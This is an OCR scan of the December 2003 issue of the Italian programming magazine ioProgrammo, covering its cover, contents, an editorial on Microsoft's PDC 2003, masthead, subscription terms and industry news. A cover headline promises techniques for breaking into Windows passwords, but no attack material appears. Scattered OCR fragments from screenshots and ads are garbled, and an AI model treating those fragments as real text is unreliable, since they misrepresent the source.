Skip to main content

Full text of "Io programmo 75"

See other formats


UML DA ZERO 

Guida al linguaggio più richiesto in azienda 

VERSIONE PLUS 

G | RIVISTA+LIBRO+CD €8,90 



INIZIA IL CORSO 



RIVISTA+CD €630 



Periodicità mensile • DICEMBRE 2003 • ANNO VII, N.11 (75) 
Poste Italiane • Spedizione in a.p. - 45% • art. 2 comma 20/b legge 662/96 - AUT. N. DCDC/033/01/CS/CAL 



R0GRAMM0 



Scripting 

L'APPLICAZIONE 
CAMBIA AL VOLO 

Una guida per modificare a run-time 
i tuoi progetti in Visual Basic 

^Cambiare 
l'interfaccia 

^Modificare 
la logica 

fitreare macro 
come in Office 




I 


X LO 

Oì o 


= 5 

= S 


co co™ 


! 




I 771128 ll 594641 11 


^- ^^^s 


co ■ 




gin 

E D 1 Z 1 O l\ 


i ^ 

R 

1 


MASTE 

www.edmastei 



Password KO 



Gli strumenti e le tecniche 

per penetrare nei sistemi Windows 

SCHEDULIMG DATABASE XML 
ll\l JAVA NATIVI 

La semplicità dei Thread II futuro dei DBMS: una guida 
per gestire le attività agli strumenti già disponibili 




MULTIMEDIA 



Realizziamo 
un DVD player 

OpenGL: grafica 3D 
professionale nelle 
nostre applicazioni 

Registrare suoni in Java 



SISTEMA 



La gestione delle date 
in VB.NET 



RETE 



Un'applicazione VB 
che controlla il traffico 
di rete 



ELETTRONICA 



Pilotare una mano 
meccanica col Joystick 



CORSI 



C#: enumerazione 
e struttura 

Java: la creazione 
di un oggetto 

VB: la tastiera 
senza segreti 



AVANZATO 



Simulazione 
dei sistemi fisici 



IL DIALOGO FRA FLASH MX, PHP E MySQL fi 1 



;J^ 



CONTENTS T H Questo mese su ioProgrammo 



Anno VII - n. 11 (75) Dicembre 2003 

T PDC 2003 - il futuro secondo Gates 

Los Angeles - 27 ottobre 2003. Bill Gates ha fatto da anfitrione alla PDC e ha 
presentato quello che sarà il futuro secondo Microsoft. ioProgrammo era lì 
per voi e, nel prossimo numero, troverete un ampio resoconto di quanto è 
successo e quanto è stato pre-visto. Longhorn, con la relativa piattaforma di 
sviluppo, si è finalmente svelato e sinceri sono stati lo stupore per la quantità 
e la qualità dei progressi fatti da Microsoft, prima di tutto per gli sviluppatori. 
Il nuovo modello di API WinFX estende le virtù della piattaforma .NET e con- 
sente di pilotare con grande eleganza la potenza di Longhorn. All'interno di 
WinFX, ci hanno particolarmente entusiasmato i sottosistemi Indigo e 
WinFS. Il primo è la creatura prediletta di quel geniaccio di Don Box e rapp- 
resenta il passo definitivo di Microsoft verso la programmazione Service 
Oriented: sviluppato per .NET, Indigo sarà parte integrante di Longhorn, e 
utilizzabile anche su sistemi XP e Windows Server 2003. Indigo fornisce una 
infrastruttura stabile e affidabile per la programmazione distribuita basata 
Web Services: un'API elegante e semplice, sarà una vera delizia utilizzarla. 
WinFS, dal canto suo, rappresenta una vera rivoluzione per i File System: si 
pone come interfaccia verso tutti i dati immagazzinati e sostituisce al con- 
cetto di file, quello di item (un'informazione generica correlata ad altri item). 
La gestione e la ricerca nel File System si gioverà dunque di tutta la velocità e 
la semplicità garantita dai DBMS, con in più la flessibilità garantita da un 
massiccio uso di XML per la definizione degli item e delle loro relazioni. 
WinFS è anche un insieme di API che permette alle applicazioni una inter- 
azione oserei dire "intima" con il sistema operativo. E cosa dire di Avalon, la 
piattaforma per l'interfaccia delle nuove applicazioni client. . . beh, mi 
prudono le mani, ma dobbiamo avere pazienza ed aspettare il prossimo 
mese. 

ES. Navigando, mi sono imbattuto in una massima di Charles Mingus che 
mi ha ricordato perché mi piace fare questo mestiere: rendere complicato ciò 
che è semplice è banale; rendere semplice, 
incredibilmente semplice, ciò che è compli- 
cato, ecco, questa è creatività. 

raffaele@edmaster. it 



News 


6 


Software sul CD-Rom 


12 


Soluzioni 


22 


► Simulazioni per sistemi di particelle 

Teoria & Tecnica 


26 



Mezza Password? Protezione a metà! 
Importare documenti XML con C# (2 a parte) 
Uno sguardo ai DB XML nativi 
Creare effetti speciali 3D con C++ e OpenGL 
Scheduling in Java 

Tips&Tricks 



Elettronica 



Muoviamo il robot con il Joystick 
Sistema 



Applicazioni VB6 scripting addicted 

Realizzare un audio recorder 

Le Network API in Visual Basic (2 a parte) 

I corsi di ioProgrammo 



Li CD G WEB 

nome_file.zip 



1% 



ir 71,1 " ■■" 



Flash MX e PHP 

Un lettore DVD realizzato in C++ 

La programmazione dei SONYAIBO (2 a parte) 

Sito del mese 



All'inizio di ogni articolo, troverete un nuovo simbolo che indicherà la presenza di 
codice e/o software allegato, che saranno presenti sia sul CD (nella posizione di sempre 
\soft\codice\ e \soft\tools\) sia sul Web, all'indirizzo http://cdrom.ioprogrammo.it. 
Per scaricare software e codice da Internet, ogni mese indicheremo una password 
differente. Per il numero che avete fra le mani la combinazione è: 



Username: kubrick 



Password: f idelio 



Algoritmi per "il giro di cavallo" (2 a parte) 



j(M 



26 
33 
40 
45 
50 

_53 
60 



► UML • UML e i casi d'uso 

►• Java • Costruire. . . cose. . . classi, oggetti e campi 

► VB.NET • La gestione delle date 

► C# • Strutture ed enumerazioni 

► C++ • Standard Template Library: i contenitori 

► MATLAB • Mostrare i risultati 

► VB • Un "acceleratore" di tastiere in VB 

Advanced Edition 



66 

66 
73 

78 

83 

83 
88 
92 
97 
100 
104 
108 

112 

112 
117 
121 

125 



InBox 


127 


Biblioteca 


128 


L'enigma di ioProgrammo 


129 



ROGRAMMO 



Anno VII -N.ro 11 (75) - Dicembre 2003 - Periodicità: Mensile 

Reg. Trib. di CS al n.ro 593 del 11 Febbraio 1997 

Cod.ISSN1128-594X 

E-mail: ioprogramino@edniaster.it 

http://www.edmaster.it/ioprogrammo 

http: / / www.ioprogrammo.it 

Direttore Editoriale Massimo Sesti 

Direttore Responsabile Romina Sesti 

Responsabile Editoriale Gianmarco Bruni 

Responsabile Marketing Antonio Meduri 

Editor Gianfranco Forlino 

Coordinamento redazionale Raffaele del Monaco 

Redazione Antonio Pasqua, Thomas Zaffino 

Collaboratori M. Autiero, M. Canducci, M. Era, E. Florio, M. Del Gobbo, 

E Grimaldi, F Lippo, D. Magoga, A. Marroccelli, S. Leone Monili, 

G. Naccarato, C. Pelliccia, P Perrotta, S. Pierazzini, M. Pizzola, E Sara, 

L. Spuntoni, E Vaccaro, D. Vesicchio, V Vessia 

Segreteria di Redazione Veronica Longo 

Realizzazione grafica Cromatika S.r.l. 
Responsabile grafico: Paolo Cristiano 
Coordinamento tecnico: Giancarlo Sicilia 
Impaginazione elettronica: Aurelio Monaco 

"Rispettare l'uomo e l'ambiente in cui esso vive e lavora è una parte di tutto ciò 
che facciamo e di ogni decisione che prendiamo per assicurare che le nostre 
operazioni siano basate sul continuo miglioramento delle perior 
ambientali e sulla prevenzione dell'inquinamento" 



153 



^ J Certificato UNI EN ISO 14001 

ecc ^S^ N - 9191 CRMT 

Realizzazione Multimediale SET S.r.l. 
Coordinamento Tecnico Piero Mannelli 
Realizzazione CD-Rom Paolo Iacona 

Pubblicità Master Advertising s.r.l. 



Via Cesare Correnti, 1 - 20123 Milano 

Tel. 02 831212 - Fax 02 83121207 

e-mail advertising@edmaster.it 

Rete Vendita Serenella Scarpa, Cornelio Morati, Roberto Piano, John F 

Alborante 

Segreteria Ufficio Vendite Daìsy Zonato 

Editore Edizioni Master S.r.l. 

Sede di Milano: Vìa Cesare Correnti, 1 - 20123 Milano 

Tel. 02 831212 - Fax 02 83121206 

Sede di Rende: C.da Lecco, zona industriale - 87036 Rende (CS) 

Amministratore Unico: Massimo Sesti 

Abbonamento e arretrati 

ITALIA: Abbonamento Annuale: ioProgrammo Basic(ll numeri): € 37,90 
sconto 50% sul prezzo di copertina € 75,90. 

ioProgrammo Plus (11 numeri + 6 libri): €61,90 sconto 50% sul prezzo di 
copertina €123,90. 

ESTERO: Abbonamento Annuale: ioProgrammo Basic (11 numeri): 
€ 151,80. IoProgrammo Plus (11 numeri + 6 libri): €257,00 
Costo arretrati (a copia) : il doppio del prezzo di copertina + € 5.32 spese 
(spedizione con corriere) . Prima di inviare i pagamenti, verificare la 
disponibilità delle copie arretrate allo 02 831212. 

La richiesta contenente ìVs. dati anagrafici e il nome della rivista, dovrà 
essere inviata via fax allo 02 83121206, oppure via posta a EDIZIONI MAS- 
TER via Cesare Correnti, 1 - 20123 Milano, dopo avere effettuato il paga- 
mento, secondo le modalità di seguito elencate: 

• cc/p n.16821878 o vaglia postale (inviando copia della ricevuta del versa- 
mento insieme alla richiesta); 

• assegno bancario non trasferibile (da inviarsi in busta chiusa insieme alla 
richiesta); 

• carta di credito, circuito VISA, CARTASI', MASTERCARD /EUROCARD, 
(inviando la Vs. autorizzazione, il numero della carta, la data di scadenza e 
laVs. sottoscrizione insieme alla richiesta). 

• bonifico bancario intestato a Edizioni Master S.r.l. c/o Banca Credem 
S.p.a. c/c 5000 ABI 03032 CAB 80880 (inviando copia della distinta insieme 
alla richiesta). 

SI PREGA DI UTILIZZARE IL MODULO RICHIESTA ABBONAMENTO POSTO 
NELLE PAGINE INTERNE DELLA RMSTA. L'abbonamento verrà attivato sul 



primo numero utile, successivo alla data della richiesta. 
Sostituzioni: Inviare il CD-Rom difettoso in busta chiusa a: 
Edizioni Master Servizio Clienti -Via Cesari Correnti, 1 -20123 Milano 



Assistenza tecnica: ioprogrammo@edmaster.it 

Servizio Abbonati: 

Btel.02 831212 



! e-mail: servizioabbonati@edmaster.it 



Stampa: Rotoeife Via Variante di Cancelleria, 2/6 -Ariccia (Roma) 
Stampa CD-Rom: Deluxe Italy S.r.l. - via Rossini, 4 - Tribiano (MI) 
Distributore esclusivo per l'Italia: Parrini & C S.p.A. 
ViaVitorchiano, 81 - Roma 

Finito di stampare nel mese dì Novembre 2003 

Nessuna parte della rivista può essere in alcun modo riprodotta senza 
autorizzazione scritta della Edizioni Master. Manoscritti e foto 
originali, anche se non pubblicati, non si restituiscono. Edizioni Ma- 
ster non sarà in alcun caso responsabile per i danni diretti e/o indiretti 
derivanti dall'utilizzo dei programmi contenuti nel supporto multime- 
diale allegato alla rivista e/o per eventuali anomalie degli stessi. 
Nessuna responsabilità è, inoltre, assunta dalla Edizioni Master per 
danni o altro derivanti da virus informatici non riconosciuti dagli 
antivirus ufficiali all'atto della masterizzazione del supporto. Nomi e 
marchi protetti sono citati senza indicare i relativi brevetti. 



Sili 



A.N.E.S. 



*■ 



L'Universo Tecnologico 

www. itportal.it 



Edizioni Master edita: 

Idea Web, GolOnLine Internet Magazine, Win Magazine, PC Firn extreme, 
Quale Computer, DVD Magazine, Office Magazine, La mia Barca, 
ioProgrammo, Linux Magazine, Softline Software World, HC Guida 
all'Home Cinema, <tag/>, MPC, Discovery DVD, Computer Games Gold, 
inDVD, I Fantastici CD-Rom, PC VideoGuide, I Corsi di Win Magazine, 
I Filmissimi in DVD, La mia videoteca, Le CoUection. 



NEWS T 



WiniFS 

LA MUOVA 

TECNOLOGIA 

PER LA 

GESTIONE DEL 

FILE-SYSTEM 

Il nuovo file -system, che farà 
la sua comparsa nella pros- 
sima versione di Windows, no- 
me in codice Longhorn, sarà 
rappresentato da una nuova 
versione di NTFS. L'obiettivo 
sarà quello di fornire agli utenti 
un mezzo più veloce e potente 
per cercare e organizzare file e 
dati, indipendentemente da 
dove questi risiedano. WinFS 
convoglierà, in un'unica strut- 
tura, l'archiviazione divari dati, 
anche se eterogenei, (relazio- 
nali, non relazionali e multi- 
mediali); un servizio integrato 
con l'interfaccia utente e in 
grado di unificare in una singola 
vista vari tipi di dati, come con- 
tatti, documenti, e-mail, foto, 
filmati, pagine Web e URL, or- 
dinandoli in cartelle, o "stack", 
in base a determinati criteri e 
indipendentemente da dove 
risiedano i file, cartella, disco o 
unità di rete. 

www. microsoft, com 

IL SOFTWARE 
MACROMEDIA 
GIRA SU LINUX 

CodeWeavers, una 
società specializzata 
nel rendere le applicazioni 
Windows disponibili per 
Linux, ha annunciato una 
nuova versione del suo 
software. Tra le novità più 
interessanti, c'è il supporto 
per i tool di sviluppo per il 
Web di Macromedia: Flash 
e Dreamweaver. Tra le altre 
applicazioni supportate 
sono da segnalare Microsoft 
Office XP e Adobe 
Photoshop. Il software 
proposto da CodeWeavers 
si basa su Wine, un sistema 
per l'emulazione Windows 
Open Source. 

www. code wea vers. com 



[JH5S WUOVE 

FUNZIONALITÀ 
PER ORACLE 



CRAY PREPARA 
UNA MUOVA 
LINEA BASATA 
SU OPTERON 



ray ha dato piena fiducia 
alla nuva linea di proces- 
sori Opteron della AMD che 
sarano la base della nuova li- 
nea di supercomputer. Nel 
2004 Cray avrà in produzione 
computer la cui dotazione po- 
trà variare dai 64 fino ad oltre 
10.000 processori Opteron in 
paradello. I sistemi così co- 
struiti si avvantageranno di un 
tipo di interconnessione svi- 
luppato appositamente da 
Cray per garantire la grande 
banda passante necessaria al 
funzionamento interno di 
queste macchine. Ovviamente, 
i computer prodotti da Cray 
non sono esattamente per tut- 
te le tasche: i clienti tipici sono 
centri di ricerca, enti gover- 
nativi e grandi aziende impe- 
gnate. Interessante notare che 
il sistema operativo scelto per 
queste macchine è il SuSE Li- 
nux' Enterprise Server. Tra i 
motivi che hanno fatto cadere 
la scelta sui processori Opte- 
ron, c'è la possibilità di far gia- 
rare sia codice a 64 bit che a 
32 bit. 

www. cray. com 

IBM A CACCIA 
DI ERRORI 

a IBM ha rilasciato un tool 
.che consente alle aziende di 
ispezionare il codice a caccia di 
problemi, sia durante lo svi- 
luppo, sia una volta che l'ap- 
plicazione è stata 
implementata. Il tool, 
chiamato J2EE Code Validator, 
può analizzare il codice ed 
intercettare i più comuni errori 
commessi nelle applicazioni 
Java. E' stato sviluppato per 
affiancare altri tool di 
debgging che in genere si oc- 
cupano di rilevare i problemi 
sintattici presenti nel codice. 
J2EE Code Validator può veri- 
ficare che un'applicazione sia 
conforme ad una serie di pat- 
tern predefiniti, o regole, che 
hanno dimostrato di garantire 
un'alta qualità del codice. 

www.ibm.com 



Oracle ha annunciato 
la certificazione di 
Oracle Database su Red 
Hat Enterprise Linux 3 e 
la disponibilità dell'assi- 
stenza tecnica per i pro- 
dotti Oracle sulla piatta- 
forma Red Hat. 
Red Hat e Oracle hanno 
collaborato per definire le 
funzioni e i miglioramenti 
da introdurre in Red Hat 
Enterprise Linux 3 al fine 
di garantire livelli mag- 
giori di scalabilità, presta- 
zioni e facilità di gestione 
degli ambienti Oracle. 
Red Hat Enterprise Linux 



3 ha introdotto inoltre più 
di 50 nuove funzioni spe- 
cifiche per l'ottimizzazio- 
ne degli ambienti Oracle e 
Linux. 

"Oracle ha dimostrato un 
forte impegno nei con- 
fronti della piattaforma 
Linux, stabilendo con la 
nostra società una part- 
nership strategica finaliz- 
zata alla definizione con- 
giunta di nuove funziona- 
lità per migliorare le im- 
plementazioni Oracle" 

ha dichiarato Brian Ste- 



UN AIUTI-VIRUS 
PER DISPOSITIVI 
DI COMUNICAZIONE 
MOBILE 



NTT DoCoMo e Net- 
work Associates han- 
no annunciato di aver svi- 
luppato congiuntamente 
un componente tecnologi- 



co fondamentale per un 
motore anti-virus compat- 
to, basato sulla tecnologia 
di sicurezza McAfee di 
Network Associates, per 




Homepage di Network Associated. 



»> 6/Dicembre 2003 



http://www.ioprogrammo.it 



NEWS T 



ORACLE 

fl PRODUCTS M SOLUTIONS M SERVICES ff 



METALINK BUY DOWNLOAD CONTACT US 



[ SEARCH SELECT COUNTRY 



T3 



TECHNOLOGIES 



GetOnTheGrid 



Oraste Database : 5et the World's Most 
Popular Database for Less Than 
USÌ1QQ0 ► 

Oracle Application Server Ifljg 
Advanced Middleware for Automating 
iraur Business » 

Oracle Identity Management : Reduce the 
Cost of Managing User Securitv i 



MOKH &K1J- 



Business Intelligence 

Anahfsìs : Set i Free Business 
Intelligence Benefits Assessment * 
Performance Management : Ftegain 
Control of Your Business « 

MORE BUSINESS INTELLIGENCE * 



Sarbanes-Oxley 



I 



Improve Comprate Governance : Gel a 
Better Vieni luto Your Enterprise » 

MORE SARBANES-OXLEY > 



Products □ Solutions 



n Services □ Technologies n Oracle 

| Select Industry TJ Oufccureing Giid Casiom a. Succ 



Se^rity 



3 2003, Oracle Coi 



r-.:-i.rt Ots.:.!> ■■.■>.;■> i.is 



vens, Vice President, Ope- 
rating System Develop- 
ment di Red Hat. 

"7 clienti che utilizzano le 
soluzioni Oracle su Red 
Hat Enterprise Linux 3 be- 



neficeranno quindi di ot- 
time prestazioni, affidabi- 
lità e scalabilità, un risul- 
tato impossibile da otte- 
nere con gli ambienti Unix 
proprietari". 

www. oracle. com 



proteggere i futuri servizi 
di comunicazione mobile. 
Le due aziende hanno ini- 
ziato a collaborare per svi- 
luppare una tecnologia di 
scansione per contenuti 
multimediali, come per 
esempio la posta elettroni- 
ca, a partire da maggio 
dello scorso anno. Net- 
work Associates ed NTT 
DoCoMo continueranno 
la collaborazione al fine di 
offrire, entro la seconda 
metà del 2004, un engine 
anti-virus compatto, in- 
corporando tecnologie spe- 
cifiche nei dispositivi di 
comunicazione mobile di 
NTT DoCoMo. Inoltre, va- 
luteranno insieme la pos- 
sibilità di offrire la tecno- 
logia congiunta ad organi- 
smi di standardizzazione 
internazionali, continuan- 
do allo stesso tempo a ri- 
cercare e sviluppare solu- 
zioni per proteggere e mi- 
gliorare i futuri servizi di 
comunicazione mobile. 

www.nai.com 



uni muovo 

TOOL PER GLI 
SVILUPPATORI 
DI WEB 
SERVICES SU 



AmberPoint ha rilascia- 
to un nuovo tool per 
gestire e monitorare Web 
Services all'interno di Vi- 
sual Studio. 

AmberPoint Express con- 
sente il controllo delle pre- 
stazioni, il monitoraggio 
dei logging ed il test dei 
servizi esposti. Gli svilup- 
patori possono così con- 
trollare sia le prestazioni 
che la robustezza dei servi- 
zi che creano. 
La gestione dei Web Servi- 
ces è considerata una delle 
prime barriere alla diffu- 
sione degli stessi: questo 
tool può mitigare forte- 
mente il problema, soprat- 
tutto in relazione alla misu- 
ra dell'efficienza dei servizi 
che si costruiscono. 

www.amberpoint.com 



FILEMAKER SI INTEGRA 
CON IL MUOVO 
MICROSOFT OFFICE 2003 



FileMaker Pro 6 offre da oggi caratteristiche che per- 
mettono un facile interscambio di dati con Microsoft 
Word 2003 ed Excel 2003. Grazie al supporto XML, che 
consente agli sviluppatori di integrare in modo fluido 
dati provenienti da diverse applicazioni, FileMaker Pro 
moltiplica il valore dei dati rendendoli accessibili nel 
formato e nell'applicazione che risulti migliore per l'u- 
tente. Per rendere ancora più facile l'integrazione di da- 
ti in XML, FileMaker offre un'ampia varietà di fogli XSLT 
che si possono scaricare direttamente dalla Libreria File- 
Maker all'indirizzo web www.filemaker.com/xml/xslt_ 
library.html e che consentono di esportare i dati diret- 
tamente in file XML di Excel e Word. "Con l'aggiunta 
del supporto XML a FileMaker Pro 6, gli sviluppatori e 
gli utenti di alto livello possono creare soluzioni in gra- 
do di connettere interi workgroup e singoli utenti con 
un numero virtualmente illimitato di altre applicazio- 
ni", ha commentato Ronald Schmelzer, Senior Analyst 
di ZapThink, società di ricerche di mercato focalizzata 
esclusivamente sul supporto XML e sui servizi web. 
"Facendo leva sul supporto XML fin dalla sua introdu- 
zione, FileMaker Pro 6 ha fatto dell'integrazione di im- 
port ed export XML una parte stabile dell'applicazio- 
ne". Per chi utilizza tutti i giorni Excel, FileMaker Pro 6 
dispone anche di una comoda funzione di conversione 
drag-and-drop. I fogli di lavoro Microsoft Excel possono 
infatti essere convertiti in database FileMaker con 
grande semplicità, trascinando i fogli di calcolo su un'i- 
cona FileMaker. 

Convertendo i dati Excel in un database, l'utente può 
effettuare ricerche, pubblicare sul web, importare e sti- 
vare immagini e file audio, stampare report ed effet- 
tuare numerose altre operazioni. 

www.ibm.com 



FileMaker and Excel: 
The perfect couple. 



f> Find out how to get the most out 
of y-Dur spreadsheet. 



iP" 



MensRelaxed Jeans 



H 



Announcements 



Customer Solutions 



Q Complete your Microsoft Office 
System 2003 with FileMaker 6. 

o Download a free FileMaker Pro 6 
trial. 

Q Discover 4 vuays to get starteli 
usino FileMaker today. 



*■"% Subscribe to 
FileMaker 



K 12 

manage admissions. 

Higher Education 

: ■ ■ ■.: ■■ ■■■-.■.■.:, 

fundraising, and more. 

Government 

Improve seivices and reduce 
a dm ini strati ve overhesd. 

Non Profrt 

.■■■;■■■ .:....■■■:.,■ 

and voluriteers. 



Special Offers Q3 



5 -User Starter Pack 
Big savings in 
a little pack 



http://www.ioprogrammo.it 



Dicembre 2003/7 ► 



NEWS T 



COMPRA 
eHelp 

on un esborso di 65 

milioni di dollari, 
Macromedia si appresta ad 
acquistare eHelp, 
estendendo il suo impero 
nel campo della grafica per 
il Web. 

Due i prodotti di punta di 
questa software house: 
RoboHelp, un tool per il 
Web authoring, e 
RoboDemo, un software 
per la creazioni di 
presentazioni basato su 
Flash. 

Lo scopo dichiarato di Ma- 
cromedia è quello di 
integrare ed ampliare la 
sua offerta di authoring 
tool, andando ad 
affiancare prodotti come 
Breeze nel campo della 
creazione di applicazioni 
per l'e-learning, l'help 
desk, i software di 
simulazion ed i tutorial 
interattivi. 

www. macromedia. com 



Al MASTRI DI PARTENZA 
BORLAND JBUILDER X 



Borland anuncia il lancio di JBuilder X, la 
più recente versione dell'ambiente di 
sviluppo integrato (IDE) cross-platform per 
Java. JBuilder X è la più importante release 
del prodotto da oltre due anni e offre oltre 
100 nuove funzioni destinate ad aumentare 
la produttività di team aziendali, sviluppa- 
tori corporate e sviluppatori Java code-cen- 
tric. Le nuove funzionalità del prodotto so- 
no focalizzate su facilità d'uso e produtti- 
vità, sviluppo di applicazioni Web, Web ser- 
vice ed EJB, nonché deployment J2EE. Di se- 
guito la nota stampa diffusa dalla stessa 
Borland: 

"JBuilder X semplifica l'IDE Java della pros- 
sima generazione. Siamo entrati in contatto 
con migliaia di utenti JBuilder e abbiamo 
esaminato centinaia di segnalazioni per es- 
sere sicuri di soddisfare le esigenze degli svi- 
luppatori Java", ha dichiarato George 
Paolini, Vicepresidente e Direttore Generale 
Java Solutions di Borland. "Una delle richie- 
ste più ricorrenti che abbiamo soddisfatto 
riguarda il miglioramento della capacità di 



personalizzazione. In precedenza era un se- 
greto ben custodito da Borland, ma oggi 
possiamo rivelare di aver esteso la nostra 
API OpenTools, pubblicata per la prima vol- 
ta nel 1998. Questo ci consente di continua- 
re a supportare l'ecosistema su cui poggia 
JBuilder e, contestualmente, offrire ai clien- 
ti ulteriori funzionalità". 

www.borland.it 



Borland 



ITALIA 




OEnum I -sincechanging «Seminari gratuHJ, 

BarMCinfutnttll to borland..." 

Amsterdam, Nelterlaidst Sc™s mc^uG^f ™ ER Da settembre;! t 

10-12 novemtoe.2003 «„,,,„„.,., amleritl 11 svlllpp»' 

RigrttnMM F' ..ii sili del vostro software 




IBM LANCIA UN 
TOOLKIT PER MPEG -4 



Un set di classi Java ed un API che consen- 
tono l'interazione con dispositivi MPEG- 
4. Collegandosi al sito della IBM è possibile 
scaricare un pacchetto contenente anche al- 
cune applicazioni cross-platform che dimo- 
strano, più di tante parole, le possibilità of- 
ferte da questa tecnologia: 

• AVgen: una semplice GUI per la creazio- 
ne di contenuti audio-video per dispositi- 
vi compatibili con gli standard ISMA o 
3GPP 

• XMTBatch: un tool per la creazione di 
contenuti MPEG-4 interattivi 

• M4Play: un client MPEG-4 che consente 
di visualizzare contenuti MPEG-4 nelle ap- 
plicazioni 

• M4Applet for ISMA: un applet Java che 
può visualizzare qualsiasi contenuto 
ISMA 

• M4Appet for HTTP: un applet Java che 



permette di visualizzare contenuti MPEG- 
4 distribuiti via HTTP. 

Grazie al fatto che l'intero toolkit è Javav-ba- 
sed, sia le applicazioni client, sia le applica- 
zioni di creazione di contenuti possono gira- 
re su qualsiasi piattaforma. 

www.ibm.com/developerworks 



| Technology zones developerWorks™ 

Delivering on dem: 



i. ani enviuiiirent. i Grid computing) 





WINDOWS 
XP SP2, 
SMENTITA 
SUL RILASCIO 

Richard Kaplan, vicepre- 
sidente del settore con- 
tenuti e ricerca di Microsoft, 
in occasione del citriX 
iForum, aveva annunciato il 
rilascio del SP2 di Windows 
XP entro la fine del 2003. 
Microsoft, in un comunica- 
to ha affermato che que- 
st'anno sarà disponibile so- 
lo una versione beta del Ser- 
vice Pack, smentendo, di 
fatto, quanto annunciato da 
Kaplan; secondo il comuni- 
cato di Microsoft, il rilascio 
della versione completa, 
non avverrà prima della 
metà del 2004. La società ha 
affermato che il ciclo di svi- 
luppo della soluzione è in 
una fase ancora troppo ini- 
ziale per fornire un calenda- 
rio più preciso per il rilascio. 



,> 8/Dicembre 2003 



http://www.ioprogrammo.it 



NEWS T 



SONY 
ATTACCA 
CON IL 
LASER BLU 



La compagnia nipponica si 
appresta a lanciare sul mercato 
una nuova tecnologia di 
storaging, basata su laser a luce 
blu, e capace di immagazzinare 
23.3 GB su un singolo supporto. 
Il nome scelto per questa 
tecnologia è Professional Disc for 
Data (PDD). 

I dischi saranno fissati all'interno 
di cartucce protettive e, al posto 
della luce rossa utilizzata in altri 
dispositivi ottici (CD, DVD, ecc.), 
PDD utilizza un laser a luce blu, 
capace di focalizzare un'area più 
piccola della superficie, 
aumentando la densità di dati e 
dunque la capacità del dispositivo. 
Sony offrirà un drive (BW-F101) 
capace di utilizzare sia dischi PDD 
registrabili che re-writeable. 




I PDD-R costeranno 45$, mentre i 
PDD-RW saranno in vendita a $50, 
il prezzo del BWF101 sarà di 
$3300. 

Sony ha già pianificato una 
seconda generazione che porterà 
la capacità delle unità oltre e 50 
GB entro il 2005. 
La terza generazione arriverà a 
100GB con un throughput di 
36MBps, ma per questa bisognerà 
aspettare ancora parecchio. 

www.sony.com 



OFFICE 2003: 
L'INTEGRAZIONE 
È XML 



Il Museo Nazionale della Scienza e del- 
la Tecnica di Milano è stato la sede 
scelta da Microsoft per la presentazione 
italiana, in contemporanea con resto 
del mondo, della nuova versione della 
suite Office, denominata semplicemen- 
te Office 2003. Un prodotto su cui 
Microsoft ha investito molto e in cui cre- 
de fortemente, come dimostrato dalla 
partecipazione di Bill Gates che, in colle- 
gamento via satellite dalla sede della 
presentazione americana, ha spiegato la 
filosofia e le caratteristiche principali di 
Office 2003. Le parole d'ordine del nuo- 
vo Office sono collaborazione e produt- 
tività, e sono proprio le nuove possibilità 
in termini di condivisione dei documen- 
ti e scambio delle informazioni che do- 
vrebbero ottimizzare la vita negli uffici a 
chi utilizza la suite Microsoft. Profon- 
damente ottimizzato l'utilizzo di Out- 
look, l'applicazione in assoluto più uti- 
lizzata in ambito lavorativo, resa più fles- 
sibile e integrata con gli altri applicativi 
del pacchetto, per ridurre i tempi di con- 
sultazione delle e-mail e facilitare l'indi- 
viduazione dei messaggi. Un altro punto 
fondamentale riguarda la condivisione 
dei documenti tra più utenti, per con- 
sentire a più persone all'interno di un uf- 
ficio di lavorare contemporaneamente 
su un documento con la sicurezza di di- 
sporre sempre della versione più recente 
e aggiornata dello stesso. In un mondo 
in cui la condivisione del- 
le risorse e dei file è ormai 
una consuetudine, l'altro 
aspetto determinante è la 
sicurezza, aumentata nel 
nuovo Office 2003 e mi- 
gliorata nella gestione dei 
privilegi d'accesso e di 
modifica dei contenuti. Il 
sistema adottato è basato 
sul cosiddetto Informa- 
tion Right Management 
(IRM), orientato princi- 
palmente ad un'utenza 
aziendale, garantisce che 



le informazioni che si vogliono condivi- 
dere siano lette solo dai legittimi desti- 
natari. Alla base della nuova suite di di 
produttività di Microsoft c'è un diffuso 
utilizzo di XML che rende i documenti 
prodotti più facilmente condivisibili e 
aggiornabili, sia all'interno di una rete 
aziendale sia attraverso Internet. Mi- 
crosoft è intenzionata ad utilizzare Offi- 
ce 2003 anche per spingere il passaggio a 
.Net degli sviluppatori più riluttanti, 
quelle affezionati aVBA. Benché sia pre- 
servata la compatibilità verso VBA, lo 
strumento più indicato a programmare 
la nuova suite di Microsoft è Visual 
Studio Tools for Office. La semplice con- 
versione delle vecchie applicazioni VBA 
in .Net, oltre a fornire tangibili benefici 
agli svOuppatrori, si presenta dunque 
come una importante occasione per fa- 
cilitare il passaggio alla piattaforma di 
sviluppo Microsoft. 
Office 2003 è disponibile in tre versioni: 

• Standard, costituita essenzialmente 
da Word, Excel, Outlook e Power- 
Point (600 euro) 

• Snall Business, che aggiunge alla 
Standard Publisher e Contact Mana- 
ger (650 euro) 

• Professional, la più completa che ri- 
spetto alle precedenti include anche 
Access (740 euro). 

www. microsoft, com/italy 





fio] MHacllr 

, /jOffloeOnline 








Home Page 

Clip Art r.J elementi multi mediali 
Informazioni sui prodotti 


È disponibile Microsoft Office 
System 

^ _ Scoprite come Office 


Oggi ìu Office Online 

Clip aggiornati: Oroloqi 
■ Create un diagrammi di Ganti con Visio 

^jfl k7o^ F zì!."itrdiw3" mD 

Utilizate icot.1 di formane per 
KW coprire tutto su Word 
■A ■ P™erpcinle a lb U n,diFo, 

O,-,, y~,,:t *.,..:. 

% % ^-. 

^■HH Utilizzo di Visio 

1 Creare diagrammi in Visio, 




Microsoft Office 

FrontPage 

Outlook 

Publisher 




F-f— Scoprite Office Syslen. 

-.- «| Nei seguenti articoli sono incluse 

Src;ir,"e '"Uond 2903 

■ Novità di Etcel 2003 

■ Nuove caratteri sfit he di Outlook 3TO9 


Word 




tUPRtnOPLÙNO: WORC 




Sili Web correlali 


@ E " 9Ui ~ Cil<o5 in Wod Sr^™ Sr^ J Wod p " 




Supporto prodotto 
Office !,e: mondo # 




Modelli 



»> 10/Dicembre 2003 



http://www.ioprogrammo.it 



SOFTWARE SUL CD T I Applicazioni Cross-Platform 



Una selezione dei migliori tool 

di sviluppo proposta dalla redazione 

di ioProgrammo 



SULC 



Borland C++ Builder X 
Personal Edition 

Il nuovo ambiente di programmazione C++ proposto da Borland 
è la summa delle esperienze maturate con la serie di JBuilder. 



